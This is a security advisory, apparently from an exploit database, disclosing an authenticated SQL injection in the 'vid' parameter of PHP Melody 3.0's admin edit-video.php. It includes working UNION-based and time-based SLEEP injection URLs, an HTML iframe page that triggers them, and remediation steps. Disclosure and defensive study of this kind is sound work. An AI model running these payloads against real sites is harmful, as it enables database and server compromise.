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PHP Melody 3.0 - (vid) SQL Injection Vulnerability
# Exploit Title: PHP Melody 3.0 - 'vid' SQL Injection
# Vendor Homepage: https://www.phpsugar.com/phpmelody.html
# Version: v3
Product & Service Introduction:
===============================
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.
Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,
TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.
(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the PHP Melody v3.0 video cms web-application.
Authentication Type:
====================
Full Authentication (Admin/Root Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A remote sql-injection vulnerability has been discovered in the PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms or
file system of the web-application.
The remote sql injection vulnerability is located in the `vid` parameter of the `edit-video.php` file.
Remote attackers with moderator or admin access privileges are able to execute own malicious sql commands
by inject get method request. The vid parameter in the acp ui is not sanitized properly. Thus allows an
attacker to inject own sql commands to compromise the web-application and dbms.
Exploitation of the remote sql injection vulnerability requires no user interaction but a privileged moderator or admin account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Video Edit
Vulnerable File(s):
[+] edit-video.php
Vulnerable Parameter(s):
[+] vid
Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by authenticated remote attackers without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Original:
https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd&a=4&page=1&filter=added&fv=desc
PoC: Exploitation #1
https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,
CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271),
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
PoC: Exploitation #2
https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--
PoC: Exploit
<html>
<head><body>
<title>phpmelody vid sql injection poc</title>
<iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,
CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271),
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--">
<br>
<iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--">
</body></head>
</html>
Reference(s):
https://phpmelody.localhost:8000/
https://phpmelody.localhost:8000/admin/
https://phpmelody.localhost:8000/admin/edit-video.php
Solution - Fix & Patch:
=======================
The vulnerability can be resolved by the following steps ...
1. Use a prepared statement to build the query
2. Restrict the parameter input to disallow special chars
3. Escape and encode the content to prevent execution of malicious payloads
4. Alternativ it is possible to integrate a web firewall or filter class to block further attacks.
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03 Nov 2021 00:00Current
7.1High risk
Vulners AI Score7.1